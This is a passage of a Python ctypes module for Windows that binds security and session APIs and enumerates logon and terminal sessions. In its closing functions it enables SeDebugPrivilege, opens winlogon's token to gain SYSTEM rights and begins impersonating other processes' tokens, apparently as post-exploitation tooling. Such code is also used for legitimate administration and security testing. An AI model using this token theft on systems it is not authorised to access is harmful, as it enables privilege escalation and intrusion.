c_void_p),\n        ('MultipleTrusteeOperation', DWORD),\n        # Supported\n        ('TrusteeForm', DWORD),\n        ('TrusteeType', DWORD),\n        ('TrusteeName', TRUSTEE_W_NAME),\n    ]\n\n\nclass ACE_HEADER(Structure):\n    _fields_ = [\n        ('AceType', BYTE),\n        ('AceFlags', BYTE),\n        ('AceSize', WORD)\n    ]\n\n\nACCESS_ALLOWED_ACE_TYPE = 0\nACCESS_DENIED_ACE_TYPE = 1\nSYSTEM_AUDIT_ACE_TYPE = 2\nSYSTEM_ALARM_ACE_TYPE = 3\n\n\nclass ACCESS_ALLOWED_ACE(Structure):\n    _fields_ = [\n        ('Header', ACE_HEADER),\n        ('Mask', DWORD),\n        ('SidStart', DWORD),\n    ]\n\n\nPACCESS_ALLOWED_ACE = POINTER(ACCESS_ALLOWED_ACE)\n\nNOT_USED_ACCESS = 0\nGRANT_ACCESS = 1\nSET_ACCESS = 2\nDENY_ACCESS = 3\nREVOKE_ACCESS = 4\nSET_AUDIT_SUCCESS = 5\nSET_AUDIT_FAILURE = 6\n\nACCESS_MODE_TEXT = {\n    NOT_USED_ACCESS: '',\n    GRANT_ACCESS: '(GRANT)',\n    SET_ACCESS: '(SET)',\n    DENY_ACCESS: '(DENY)',\n    REVOKE_ACCESS: '(REVOKE)',\n    SET_AUDIT_SUCCESS: '(AUDIT SUCCESS)',\n    SET_AUDIT_FAILURE: '(AUDIT FAILURE)'\n}\n\nACE_ACCESS_DELETE = (0x00010000)\nACE_ACCESS_READ_CONTROL = (0x00020000)\nACE_ACCESS_WRITE_DAC = (0x00040000)\nACE_ACCESS_WRITE_OWNER = (0x00080000)\nACE_ACCESS_SYNCHRONIZE = (0x00100000)\n\nSTANDARD_RIGHTS_REQUIRED = (0x000F0000)\n\nSTANDARD_RIGHTS_READ = (READ_CONTROL)\nSTANDARD_RIGHTS_WRITE = (READ_CONTROL)\nSTANDARD_RIGHTS_EXECUTE = (READ_CONTROL)\nSTANDARD_RIGHTS_ALL = (0x001F0000)\nSPECIFIC_RIGHTS_ALL = (0x0000FFFF)\n\n\nclass EXPLICIT_ACCESS_W(Structure):\n    _fields_ = [\n        ('grfAccessPermissions', DWORD),\n        ('grfAccessMode', DWORD),\n        ('grfInheritance', DWORD),\n        ('Trustee', TRUSTEE_W)\n    ]\n\n\nPEXPLICIT_ACCESS_W = POINTER(EXPLICIT_ACCESS_W)\n\nAclRevisionInformation = 0\nAclSizeInformation = 1\n\nGetExplicitEntriesFromAclW = advapi32.GetExplicitEntriesFromAclW\nGetExplicitEntriesFromAclW.restype = DWORD\nGetExplicitEntriesFromAclW.argtypes = [\n    c_void_p, POINTER(c_ulong), POINTER(PEXPLICIT_ACCESS_W)\n]\n\nGetAclInformation = advapi32.GetAclInformation\nGetAclInformation.restype = BOOL\nGetAclInformation.argtypes = [\n    c_void_p, c_void_p, DWORD, DWORD\n]\n\nGetAce = advapi32.GetAce\nGetAce.restype = BOOL\nGetAce.argtypes = [\n    c_void_p, DWORD, POINTER(PACCESS_ALLOWED_ACE)\n]\n\nIsValidSecurityDescriptor = advapi32.IsValidSecurityDescriptor\nGetFileSecurityW.restype = BOOL\nIsValidSecurityDescriptor.argtypes = [\n    c_void_p\n]\n\nAccessCheck = advapi32.AccessCheck\nAccessCheck.restype = BOOL\nAccessCheck.argtypes = [\n    c_void_p, HANDLE, DWORD, POINTER(GENERIC_MAPPING),\n    c_void_p, PDWORD, PDWORD, POINTER(BOOL)\n]\n\n\nGetSidSubAuthorityCount = advapi32.GetSidSubAuthorityCount\nGetSidSubAuthorityCount.restype = POINTER(c_ubyte)\nGetSidSubAuthorityCount.argtypes = [\n    c_void_p\n]\n\n\nGetSidSubAuthority = advapi32.GetSidSubAuthority\nGetSidSubAuthority.restype = PDWORD\nGetSidSubAuthority.argtypes = [\n    c_void_p, DWORD\n]\n\n\nCreateProcessW = kernel32.CreateProcessW  # Unicode version\nCreateProcessW.restype = BOOL\nCreateProcessW.argtypes = [\n    LPCWSTR, LPWSTR, PSECURITY_ATTRIBUTES,\n    PSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID,\n    LPCSTR, c_void_p, POINTER(PROCESS_INFORMATION)\n]\n\nCreateProcessA = kernel32.CreateProcessA\nCreateProcessA.restype = BOOL\nCreateProcessA.argtypes = [\n    LPCSTR, LPSTR, PSECURITY_ATTRIBUTES,\n    PSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID,\n    LPCSTR, c_void_p, POINTER(PROCESS_INFORMATION)\n]\n\nWaitForSingleObject = kernel32.WaitForSingleObject\nWaitForSingleObject.restype = DWORD\nWaitForSingleObject.argtypes = [\n    HANDLE, DWORD\n]\n\nCreatePipe = kernel32.CreatePipe\nCreatePipe.restype = BOOL\nCreatePipe.argtypes = [\n    PHANDLE, PHANDLE, c_void_p, DWORD\n]\n\n\nTerminateProcess = kernel32.TerminateProcess\nTerminateProcess.restype = BOOL\nTerminateProcess.argtypes = [\n    HANDLE, c_int\n]\n\n\nGetExitCodeProcess = kernel32.GetExitCodeProcess\nGetExitCodeProcess.restype = BOOL\nGetExitCodeProcess.argtypes = [\n    HANDLE, PDWORD\n]\n\n\nSTILL_ACTIVE = 0x00000103\n\n# kernel32\n\nGetFileAttributesW = kernel32.GetFileAttributesW\nGetFileAttributesW.restype = DWORD\nGetFileAttributesW.argtypes = [\n    LPWSTR\n]\n\n\nCreateFile = kernel32.CreateFileW\nCreateFile.restype = HANDLE\nCreateFile.argtypes = [\n    LPCWSTR, DWORD, DWORD, c_void_p, DWORD, DWORD, HANDLE\n]\n\n\nWriteFile = kernel32.WriteFile\nWriteFile.restype = BOOL\nWriteFile.argtypes = [\n    HANDLE, LPVOID, DWORD, PDWORD, PVOID\n]\n\n\nReadFile = kernel32.ReadFile\nReadFile.restype = BOOL\nReadFile.argtypes = [\n    HANDLE, LPVOID, DWORD, PDWORD, PVOID\n]\n\nCloseHandle = kernel32.CloseHandle\nCloseHandle.restype = BOOL\nCloseHandle.argtypes = [\n    HANDLE\n]\n\nGetCurrentProcess = kernel32.GetCurrentProcess\nGetCurrentProcess.restype = HANDLE\nGetCurrentProcess.argtypes = []\n\nGetCurrentThread = kernel32.GetCurrentThread\nGetCurrentThread.restype = HANDLE\nGetCurrentThread.argtypes = []\n\nGetCurrentProcessId = kernel32.GetCurrentProcessId\nGetCurrentProcessId.restype = DWORD\nGetCurrentProcessId.argtypes = []\n\nOpenProcess = kernel32.OpenProcess\nOpenProcess.restype = HANDLE\nOpenProcess.argtypes = [\n    DWORD, BOOL, DWORD\n]\n\n\nclass LSA_UNICODE_STRING(Structure):\n    _fields_ = (\n        ('Length', USHORT),\n        ('MaximumLength', USHORT),\n        ('Buffer', LPWSTR)\n    )\n\n\nclass LSA_LAST_INTER_LOGON_INFO(Structure):\n    _fields_ = (\n        ('LastSuccessfulLogon', LARGE_INTEGER),\n        ('LastFailedLogon', LARGE_INTEGER),\n        ('FailedAttemptCountSinceLastSuccessfulLogon', ULONG)\n    )\n\n\nclass SECURITY_LOGON_SESSION_DATA(Structure):\n    _fields_ = (\n        ('Size', ULONG),\n        ('LogonId', LUID),\n        ('UserName', LSA_UNICODE_STRING),\n        ('LogonDomain', LSA_UNICODE_STRING),\n        ('AuthenticationPackage', LSA_UNICODE_STRING),\n        ('LogonType', ULONG),\n        ('Session', ULONG),\n        ('Sid', PSID),\n        ('LogonTime', LARGE_INTEGER),\n        ('LogonServer', LSA_UNICODE_STRING),\n        ('DnsDomainName', LSA_UNICODE_STRING),\n        ('Upn', LSA_UNICODE_STRING),\n        ('UserFlags', ULONG),\n        ('LastLogonInfo', LSA_LAST_INTER_LOGON_INFO),\n        ('LogonScript', LSA_UNICODE_STRING),\n        ('ProfilePath', LSA_UNICODE_STRING),\n        ('HomeDirectory', LSA_UNICODE_STRING),\n        ('HomeDirectoryDrive', LSA_UNICODE_STRING),\n        ('LogoffTime', LARGE_INTEGER),\n        ('KickOffTime', LARGE_INTEGER),\n        ('PasswordLastSet', LARGE_INTEGER),\n        ('PasswordCanChange', LARGE_INTEGER),\n        ('PasswordMustChange', LARGE_INTEGER),\n    )\n\n\nPSECURITY_LOGON_SESSION_DATA = POINTER(SECURITY_LOGON_SESSION_DATA)\nPPSECURITY_LOGON_SESSION_DATA = POINTER(PSECURITY_LOGON_SESSION_DATA)\n\n\nLOGON_TYPE = (\n    'Undefined',\n    'Interactive',\n    'Network',\n    'Batch',\n    'Service',\n    'Proxy',\n    'Unlock',\n    'NetworkCleartext',\n    'NewCredentials',\n    'RemoteInteractive',\n    'CachedInteractive',\n    'CachedRemoteInteractive',\n    'CachedUnlock'\n)\n\n\ndef LsaSessionDataFlagsToStr(flags):\n    result = []\n\n    if _bit(flags, 0x4000):\n        result.append('Optimized')\n    if _bit(flags, 0x8000):\n        result.append('WinLogon')\n    if _bit(flags, 0x10000):\n        result.append('Kerberos')\n    if _bit(flags, 0x20000):\n        result.append('Not Optimized')\n\n    return result\n\n\ndef FileTimeToUnix(filetime):\n    if filetime >= (0x8000000000000000 - 1):\n        filetime = filetime - 0x8000000000000000\n\n    if filetime < 1:\n        return filetime\n\n    return (filetime / 10000000) - 11644473600\n\n\nLsaEnumerateLogonSessions = secur32.LsaEnumerateLogonSessions\nLsaEnumerateLogonSessions.restype = NTSTATUS\nLsaEnumerateLogonSessions.argtypes = [\n    PULONG, PVOID()\n]\n\nLsaGetLogonSessionData = secur32.LsaGetLogonSessionData\nLsaGetLogonSessionData.restype = NTSTATUS\nLsaGetLogonSessionData.argtypes = [\n    PLUID, PPSECURITY_LOGON_SESSION_DATA\n]\n\nLsaFreeReturnBuffer = secur32.LsaFreeReturnBuffer\nLsaFreeReturnBuffer.restype = NTSTATUS\nLsaFreeReturnBuffer.argtypes = [\n    PVOID\n]\n\nLsaNtStatusToWinError = advapi32.LsaNtStatusToWinError\nLsaNtStatusToWinError.restype = ULONG\nLsaNtStatusToWinError.argtypes = [\n    NTSTATUS\n]\n\n\ntry:\n    wtsapi32 = WinDLL('wtsapi32', use_last_error=True)\n\n    class WTS_SERVER_INFOW(Structure):\n        _fields_ = (\n            ('pServerName', LPWSTR),\n        )\n\n    WTS_CONNECTSTATE_CLASS = (\n        'Active',\n        'Connected',\n        'ConnectQuery',\n        'Shadow',\n        'Disconnected',\n        'Idle',\n        'Listen',\n        'Reset',\n        'Down',\n        'Init'\n    )\n\n    class WTS_SESSION_INFOW(Structure):\n        _fields_ = (\n            ('SessionId', DWORD),\n            ('pWinStationName', LPWSTR),\n            ('State', DWORD),\n        )\n\n    PWTS_SESSION_INFOW = POINTER(WTS_SESSION_INFOW)\n    PPWTS_SESSION_INFOW = POINTER(PWTS_SESSION_INFOW)\n\n    PWTS_SERVER_INFOW = POINTER(WTS_SERVER_INFOW)\n    PPWTS_SERVER_INFOW = POINTER(PWTS_SERVER_INFOW)\n\n    ProcessIdToSessionId = kernel32.ProcessIdToSessionId\n    ProcessIdToSessionId.restype = BOOL\n    ProcessIdToSessionId.argtypes = (\n        DWORD, PDWORD\n    )\n\n    WTSEnumerateServersW = wtsapi32.WTSEnumerateServersW\n    WTSEnumerateServersW.restype = BOOL\n    WTSEnumerateServersW.argtypes = (\n        LPWSTR, DWORD, DWORD, POINTER(PVOID), PDWORD\n    )\n\n    WTSGetActiveConsoleSessionId = kernel32.WTSGetActiveConsoleSessionId\n    WTSGetActiveConsoleSessionId.restype = DWORD\n    WTSGetActiveConsoleSessionId.argtypes = []\n\n    WTSFreeMemory = wtsapi32.WTSFreeMemory\n    WTSFreeMemory.argtypes = (PVOID,)\n\n    WTSEnumerateSessionsW = wtsapi32.WTSEnumerateSessionsW\n    WTSEnumerateSessionsW.restype = BOOL\n    WTSEnumerateSessionsW.argtypes = (\n        HANDLE, DWORD, DWORD, POINTER(PVOID), PDWORD\n    )\n\n    WTSQuerySessionInformationW = wtsapi32.WTSQuerySessionInformationW\n    WTSQuerySessionInformationW.restype = BOOL\n    WTSQuerySessionInformationW.argtypes = (\n        HANDLE, DWORD, DWORD, POINTER(PVOID), PDWORD\n    )\n\n    (\n        WTSInitialProgram, WTSApplicationName, WTSWorkingDirectory, WTSOEMId,\n        WTSSessionId, WTSUserName, WTSWinStationName, WTSDomainName,\n        WTSConnectState, WTSClientBuildNumber, WTSClientName,\n        WTSClientDirectory, WTSClientProductId, WTSClientHardwareId,\n        WTSClientAddress, WTSClientDisplay, WTSClientProtocolType,\n        WTSIdleTime, WTSLogonTime, WTSIncomingBytes, WTSOutgoingBytes,\n        WTSIncomingFrames, WTSOutgoingFrames, WTSClientInfo, WTSSessionInfo,\n        WTSSessionInfoEx, WTSConfigInfo, WTSValidationInfo,\n        WTSSessionAddressV4, WTSIsRemoteSession\n    ) = xrange(30)\n\n    MAX_PATH = 260\n\n    WDPREFIX_LENGTH = 12\n    STACK_ADDRESS_LENGTH = 128\n    MAX_BR_NAME = 65\n    DIRECTORY_LENGTH = 256\n    INITIALPROGRAM_LENGTH = 256\n    USERNAME_LENGTH = 20\n    DOMAIN_LENGTH = 17\n    PASSWORD_LENGTH = 14\n    NASISPECIFICNAME_LENGTH = 14\n    NASIUSERNAME_LENGTH = 47\n    NASIPASSWORD_LENGTH = 24\n    NASISESSIONNAME_LENGTH = 16\n    NASIFILESERVER_LENGTH = 47\n\n    CLIENTDATANAME_LENGTH = 7\n    CLIENTNAME_LENGTH = 20\n    CLIENTADDRESS_LENGTH = 30\n    IMEFILENAME_LENGTH = 32\n    DIRECTORY_LENGTH = 256\n    CLIENTLICENSE_LENGTH = 32\n    CLIENTMODEM_LENGTH = 40\n    CLIENT_PRODUCT_ID_LENGTH = 32\n    MAX_COUNTER_EXTENSIONS = 2\n    WINSTATIONNAME_LENGTH = 32\n\n    class WTSCLIENTW(Structure):\n        _fields_ = (\n            ('ClientName', WCHAR * (CLIENTNAME_LENGTH+1)),\n            ('Domain', WCHAR * (DOMAIN_LENGTH+1)),\n            ('UserName', WCHAR * (USERNAME_LENGTH+1)),\n            ('WorkDirectory', WCHAR * (MAX_PATH+1)),\n            ('InitialProgram', WCHAR * (MAX_PATH+1)),\n            ('EncryptionLevel', BYTE),\n            ('ClientAddressFamily', ULONG),\n            ('ClientAddress', USHORT*(CLIENTADDRESS_LENGTH+1)),\n            ('HRes', USHORT),\n            ('VRes', USHORT),\n            ('ColorDepth', USHORT),\n            ('ClientDirectory', WCHAR * (MAX_PATH+1)),\n            ('ClientBuildNumber', ULONG),\n            ('ClientHardwareId', ULONG),\n            ('ClientProductId', USHORT),\n            ('OutBufCountHost', USHORT),\n            ('OutBufCountClient', USHORT),\n            ('OutBufLength', USHORT),\n            ('DeviceId', WCHAR * (MAX_PATH+1))\n        )\n\n    PWTSCLIENTW = POINTER(WTSCLIENTW)\n\n    class WTSINFOW(Structure):\n        _fields_ = (\n            ('State', DWORD),\n            ('SessionId', DWORD),\n            ('IncomingBytes', DWORD),\n            ('OutgoingBytes', DWORD),\n            ('IncomingFrames', DWORD),\n            ('OutgoingFrames', DWORD),\n            ('IncomingCompressedBytes', DWORD),\n            ('OutgoingCompressedBytes', DWORD),\n            ('WinStationName', WCHAR * (WINSTATIONNAME_LENGTH)),\n            ('Domain', WCHAR * DOMAIN_LENGTH),\n            ('UserName', WCHAR * (USERNAME_LENGTH+1)),\n            ('ConnectTime', LARGE_INTEGER),\n            ('DisconnectTime', LARGE_INTEGER),\n            ('LastInputTime', LARGE_INTEGER),\n            ('LogonTime', LARGE_INTEGER),\n            ('CurrentTime', LARGE_INTEGER)\n        )\n\n    PWTSINFOW = POINTER(WTSINFOW)\n\n    def mkzstring(data):\n        if '\\0' in data:\n            return data[:data.index('\\0')]\n\n        return data\n\n    def mkaddress(family, data):\n        if family == socket.AF_UNSPEC:\n            return None\n\n        if family == socket.AF_INET:\n            return '.'.join(str(x) for i, x in enumerate(data) if i < 4)\n        else:\n            addr_len = data[0]\n            addr_data = data[1:addr_len]\n            return ''.join(hex(x)[2:] for x in addr_data)\n\n    def StationNameByPid(pid):\n        SessionID = DWORD()\n\n        if not ProcessIdToSessionId(pid, byref(SessionID)):\n            return None\n\n        info = PVOID()\n        dwSize = DWORD()\n\n        if not WTSQuerySessionInformationW(\n            None, SessionID, WTSWinStationName,\n                byref(info), byref(dwSize)):\n            return None\n\n        try:\n            name = str(cast(info, LPWSTR).value) or '{Empty}'\n        finally:\n            WTSFreeMemory(info)\n\n        return name\n\n    def EnumerateWTS():\n        info = PVOID()\n        count = DWORD()\n\n        current = WTSGetActiveConsoleSessionId()\n\n        if WTSEnumerateSessionsW(None, 0, 1, byref(info), byref(count)) == 0:\n            raise WinError(get_last_error())\n\n        sessions = []\n        try:\n            _info = cast(info, POINTER(WTS_SESSION_INFOW))\n            for idx in xrange(count.value):\n                sessions.append((\n                    _info[idx].SessionId,\n                    _info[idx].pWinStationName or '{Empty}',\n                    _info[idx].State\n                ))\n\n            del _info\n\n        finally:\n            WTSFreeMemory(info)\n\n        session_infos = {}\n\n        for session_id, station, state in sessions:\n            info = PVOID()\n            dwSize = DWORD()\n\n            is_current = session_id == current\n\n            session_infos[station] = {\n                'state': WTS_CONNECTSTATE_CLASS[state],\n                'current': is_current,\n                'session_id': session_id\n            }\n\n            if WTSQuerySessionInformationW(\n                None, session_id, WTSClientInfo,\n                    byref(info), byref(dwSize)) == 0:\n                raise WinError(get_last_error())\n\n            try:\n                _info = cast(info, PWTSCLIENTW)\n                session_infos[station]['client'] = {\n                    'ClientName': mkzstring(_info[0].ClientName),\n                    'Domain': mkzstring(_info[0].Domain),\n                    'UserName': mkzstring(_info[0].UserName),\n                    'WorkDirectory': mkzstring(_info[0].WorkDirectory),\n                    'EncryptionLevel': _info[0].EncryptionLevel,\n                    'ClientAddress': mkaddress(\n                        _info[0].ClientAddressFamily, _info[0].ClientAddress),\n                    'HRes': _info[0].HRes,\n                    'VRes': _info[0].VRes,\n                    'ColorDepth': _info[0].ColorDepth,\n                    'ClientDirectory': mkzstring(_info[0].ClientDirectory),\n                    'ClientBuildNumber': _info[0].ClientBuildNumber,\n                    'ClientProductId': _info[0].ClientProductId,\n                    'DeviceIdD': mkzstring(_info[0].DeviceId)\n                }\n\n                del _info\n            finally:\n                WTSFreeMemory(info)\n\n            if WTSQuerySessionInformationW(\n                None, session_id, WTSSessionInfo,\n                    byref(info), byref(dwSize)) == 0:\n                raise WinError(get_last_error())\n\n            try:\n                _info = cast(info, PWTSINFOW)\n                session_infos[station]['info'] = {\n                    'Domain': mkzstring(_info[0].Domain),\n                    'UserName': mkzstring(_info[0].UserName),\n                    'WinStationName': mkzstring(_info[0].WinStationName),\n                    'ConnectTime': FileTimeToUnix(_info[0].ConnectTime),\n                    'DisconnectTime': FileTimeToUnix(_info[0].DisconnectTime),\n                    'LastInputTime': FileTimeToUnix(_info[0].LastInputTime),\n                    'LogonTime': FileTimeToUnix(_info[0].LogonTime),\n                    'CurrentTime': FileTimeToUnix(_info[0].CurrentTime),\n                }\n\n                del _info\n            finally:\n                WTSFreeMemory(info)\n\n        return session_infos\n\n\nexcept (WindowsError, AttributeError):\n    # Unsupported\n    def EnumerateWTS():\n        raise NotImplementedError('WTS Enumeration not implemented')\n\ntry:\n    InitializeProcThreadAttributeList = \\\n        kernel32.InitializeProcThreadAttributeList\n    InitializeProcThreadAttributeList.restype = BOOL\n    InitializeProcThreadAttributeList.argtypes = [\n        PVOID, DWORD, DWORD, POINTER(SIZE_T)\n    ]\n\n    UpdateProcThreadAttribute = kernel32.UpdateProcThreadAttribute\n    UpdateProcThreadAttribute.restype = BOOL\n    UpdateProcThreadAttribute.argtypes = [\n        PVOID, DWORD, PVOID, PVOID, SIZE_T, PVOID, POINTER(SIZE_T)\n    ]\n\n    DeleteProcThreadAttributeList = kernel32.DeleteProcThreadAttributeList\n    DeleteProcThreadAttributeList.restype = BOOL\n    DeleteProcThreadAttributeList.argtypes = [\n        PVOID\n    ]\n\nexcept AttributeError:\n    # Windows XP, ignore\n    pass\n\n\n# ntdll\nRtlGetVersion = ntdll.RtlGetVersion\nRtlGetVersion.restype = DWORD\nRtlGetVersion.argtypes = [\n    POSVERSIONINFOEXW\n]\n\n# shell32\n\nIsUserAnAdmin = shell32.IsUserAnAdmin\nIsUserAnAdmin.restype = BOOL\nIsUserAnAdmin.argtypes = []\n\n# userenv\n\nCREATE_NEW_CONSOLE = 0x00000010\nCREATE_UNICODE_ENVIRONMENT = 0x00000400\nNORMAL_PRIORITY_CLASS = 0x00000020\n\nCreateEnvironmentBlock = userenv.CreateEnvironmentBlock\nCreateEnvironmentBlock.restype = BOOL\nCreateEnvironmentBlock.argtypes = [\n    POINTER(c_void_p), HANDLE, c_int\n]\n\nDestroyEnvironmentBlock = userenv.DestroyEnvironmentBlock\nDestroyEnvironmentBlock.argtypes = [\n    c_void_p\n]\n\n# various\n\nERROR_SUCCESS = 0\nERROR_INSUFFICIENT_BUFFER = 122\nERROR_ACCESS_DENIED = 5\nERROR_INVALID_PARAMETER = 87\nERROR_NOT_ALL_ASSIGNED = 1300\nERROR_NO_TOKEN = 1008\n\n\ndef EnumerateLogonSessions():\n    uids = PVOID()\n    uids_cnt = ULONG()\n\n    status = LsaEnumerateLogonSessions(byref(uids_cnt), byref(uids))\n    if status != 0:\n        raise WinError(LsaNtStatusToWinError(status))\n\n    sessions = []\n\n    try:\n        for pluid in cast(uids, POINTER(LUID*uids_cnt.value)).contents:\n            session = PSECURITY_LOGON_SESSION_DATA()\n            try:\n                status = LsaGetLogonSessionData(pluid, byref(session))\n                if status != 0:\n                    raise WinError(LsaNtStatusToWinError(status))\n\n                content = session.contents\n\n                sessions.append({\n                    'user': content.UserName.Buffer,\n                    'domain': content.LogonDomain.Buffer,\n                    'auth': content.AuthenticationPackage.Buffer,\n                    'type': LOGON_TYPE[content.LogonType],\n                    'session': content.Session,\n                    'sid': strsid(content.Sid),\n                    'logon': FileTimeToUnix(content.LogonTime),\n                    'server': content.LogonServer.Buffer,\n                    'dns': content.DnsDomainName.Buffer,\n                    'upn': content.Upn.Buffer,\n                    'flags': LsaSessionDataFlagsToStr(content.UserFlags),\n                    'logon-info': {\n                        'success': FileTimeToUnix(\n                            content.LastLogonInfo.LastSuccessfulLogon),\n                        'failed':  FileTimeToUnix(\n                            content.LastLogonInfo.LastFailedLogon),\n                        'attempts': content.LastLogonInfo.\n                        FailedAttemptCountSinceLastSuccessfulLogon,\n                    },\n                    'profile': content.ProfilePath.Buffer,\n                    'home': content.HomeDirectory.Buffer,\n                    'drive': content.HomeDirectoryDrive.Buffer,\n                    'logoff': FileTimeToUnix(content.LogoffTime),\n                    'kickoff': FileTimeToUnix(content.KickOffTime),\n                    'password': {\n                        'last': FileTimeToUnix(content.PasswordLastSet),\n                        'changable': FileTimeToUnix(content.PasswordCanChange),\n                        'change': FileTimeToUnix(content.PasswordMustChange)\n                    }\n                })\n\n            finally:\n                LsaFreeReturnBuffer(session)\n\n    finally:\n        LsaFreeReturnBuffer(uids)\n\n    return sessions\n\n\ndef GetUserName():\n    nSize = DWORD(0)\n    GetUserNameW(None, byref(nSize))\n    error = GetLastError()\n\n    if error and error != ERROR_INSUFFICIENT_BUFFER:\n        raise WinError(error)\n\n    lpBuffer = create_unicode_buffer('', nSize.value + 1)\n\n    if not GetUserNameW(lpBuffer, byref(nSize)):\n        raise WinError(get_last_error())\n\n    return lpBuffer.value\n\n\ndef GetTokenSid(hToken, exc=True):\n\n    \"\"\"Retrieve SID from Token\"\"\"\n\n    dwSize = DWORD(0)\n    pStringSid = LPSTR()\n    TokenUser = 1\n\n    if not GetTokenInformation(\n            hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)):\n        error = get_last_error()\n        if error != ERROR_INSUFFICIENT_BUFFER:\n            if exc:\n                raise WinError(error)\n\n            return None\n\n    address = create_string_buffer(dwSize.value)\n    sid = None\n    if GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize)):\n        pToken_User = cast(address, POINTER(TOKEN_USER))\n        ConvertSidToStringSidA(\n            pToken_User.contents.User.Sid, byref(pStringSid)\n        )\n        sid = pStringSid.value\n    else:\n        if exc:\n            raise WinError(get_last_error())\n\n    return sid\n\n\ndef EnablePrivilege(privilegeStr, hToken=None, exc=True):\n\n    \"\"\"\n    Enable Privilege on token, if no token is given the\n    function gets the token of the current process.\n    \"\"\"\n\n    close_hToken = False\n\n    if isinstance(privilegeStr, str) and not isinstance(privilegeStr, bytes):\n        privilege = privilegeStr.encode('latin1')\n    else:\n        privilege = str(privilegeStr)\n\n    if hToken is None:\n        hToken = HANDLE(INVALID_HANDLE_VALUE)\n        hProcess = OpenProcess(\n            PROCESS_QUERY_INFORMATION, False, GetCurrentProcessId()\n        )\n\n        if not hProcess:\n            raise WinError(get_last_error())\n\n        dwError = None\n\n        if not OpenProcessToken(\n            hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY),\n                byref(hToken)):\n            dwError = get_last_error()\n\n        CloseHandle(hProcess)\n\n        if dwError:\n            raise WinError(dwError)\n\n        close_hToken = True\n\n    bSuccess = False\n\n    try:\n        privilege_id = LUID()\n        if not LookupPrivilegeValueA(None, privilege, byref(privilege_id)):\n            raise WinError(get_last_error())\n\n        SE_PRIVILEGE_ENABLED = 0x00000002\n        laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)\n        tp = TOKEN_PRIVILEGES(1, laa)\n\n        if AdjustTokenPrivileges(\n                hToken, False, byref(tp), sizeof(tp), None, None):\n            error = get_last_error()\n            if error == ERROR_SUCCESS:\n                bSuccess = True\n            elif exc:\n                if error == ERROR_NOT_ALL_ASSIGNED:\n                    raise ValueError(\n                        error,\n                        'Could not set {} (access denied)'.format(privilege)\n                    )\n                else:\n                    raise WinError(error)\n        elif exc:\n            WinError(get_last_error())\n\n    finally:\n        if close_hToken:\n            CloseHandle(hToken)\n\n    return bSuccess\n\n\ndef ListSids(exc=False):\n    sids = []\n\n    for proc in psutil.process_iter():\n        try:\n            pinfo = proc.as_dict(attrs=['pid', 'username', 'name'])\n        except psutil.NoSuchProcess:\n            pass\n\n        pid = int(pinfo['pid'])\n\n        if pid <= 4:\n            continue\n\n        if pinfo['username'] is None:\n            continue\n\n        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)\n        if not hProcess:\n            error = get_last_error()\n            if exc and error not in (\n                    ERROR_INVALID_PARAMETER, ERROR_ACCESS_DENIED):\n                # Process exited, dead, whatever\n                raise WinError(get_last_error())\n\n            continue\n\n        hToken = HANDLE(INVALID_HANDLE_VALUE)\n\n        bTokenOk = OpenProcessToken(hProcess, tokenprivs, byref(hToken))\n        error = get_last_error()\n\n        CloseHandle(hProcess)\n\n        if not bTokenOk:\n            if error == ERROR_ACCESS_DENIED:\n                continue\n\n            if exc:\n                raise WinError(error)\n\n            continue\n\n        try:\n            sid = GetTokenSid(hToken, exc)\n        finally:\n            CloseHandle(hToken)\n\n        if sid is None:\n            continue\n\n        sids.append((\n            pinfo['pid'],\n            try_as_unicode_string(pinfo['name'], fail=False),\n            try_as_unicode_string(sid, fail=False),\n            try_as_unicode_string(pinfo['username'], fail=False)\n        ))\n\n    return list(sids)\n\n\ndef getProcessToken(pid):\n    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)\n    if not hProcess:\n        raise WinError(get_last_error())\n\n    hToken = HANDLE(INVALID_HANDLE_VALUE)\n    dwError = None\n\n    if not OpenProcessToken(hProcess, tokenprivs, byref(hToken)):\n        dwError = get_last_error()\n\n    CloseHandle(hProcess)\n\n    if dwError:\n        raise WinError(dwError)\n\n    return hToken\n\n\ndef get_thread_token():\n    hThread = GetCurrentThread()\n    hToken = HANDLE(INVALID_HANDLE_VALUE)\n    dwError = None\n\n    if not OpenThreadToken(hThread, tokenprivs, False, byref(hToken)):\n        dwError = get_last_error()\n\n    CloseHandle(hThread)\n\n    if dwError:\n        if dwError == ERROR_NO_TOKEN:\n            return get_process_token()\n        raise WinError(dwError)\n\n    return hToken\n\n\ndef get_process_token():\n    \"\"\"\n    Get the current process token\n    \"\"\"\n\n    token = HANDLE()\n    if not OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token):\n        raise WinError(get_last_error())\n\n    return token\n\n\ndef gethTokenFromPid(pid, exc=True):\n    hToken = HANDLE(INVALID_HANDLE_VALUE)\n\n    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))\n    if not hProcess:\n        if exc:\n            raise WinError(get_last_error())\n        else:\n            return None\n\n    dwError = None\n    if not OpenProcessToken(hProcess, tokenprivs, byref(hToken)):\n        dwError = get_last_error()\n\n    CloseHandle(hProcess)\n\n    if dwError:\n        if exc:\n            raise WinError(dwError)\n        else:\n            return None\n\n    return hToken\n\n\nIMPERSONATION_TOKENS = {}\n\n\ndef ListCachedSids():\n    return tuple(\n        (sid, username) for sid, (username, value)\n        in IMPERSONATION_TOKENS.items()\n    )\n\n\ndef getSidToken(token_sid):\n    if token_sid in IMPERSONATION_TOKENS:\n        return IMPERSONATION_TOKENS[token_sid][1]\n\n    EnablePrivilege(\"SeDebugPrivilege\", exc=False)\n\n    # trying to get system privileges\n    for (pid, name, sid, username) in ListSids():\n        if token_sid == SID_SYSTEM:\n            if 'winlogon' not in name.lower():\n                continue\n\n        elif token_sid != sid:\n            continue\n\n        hToken = gethTokenFromPid(pid, exc=True)\n        # hToken = gethTokenFromPid(pid, exc=False)\n        if not hToken:\n            continue\n\n        IMPERSONATION_TOKENS[token_sid] = username, hToken\n        return hToken\n\n\ndef impersonate_pid(pid, close=True):\n    EnablePrivilege(\"SeDebugPrivilege\")\n\n    hToken = getProcessToken(pid)\n    if not hToken:\n        return None\n\n    hTokendupe = 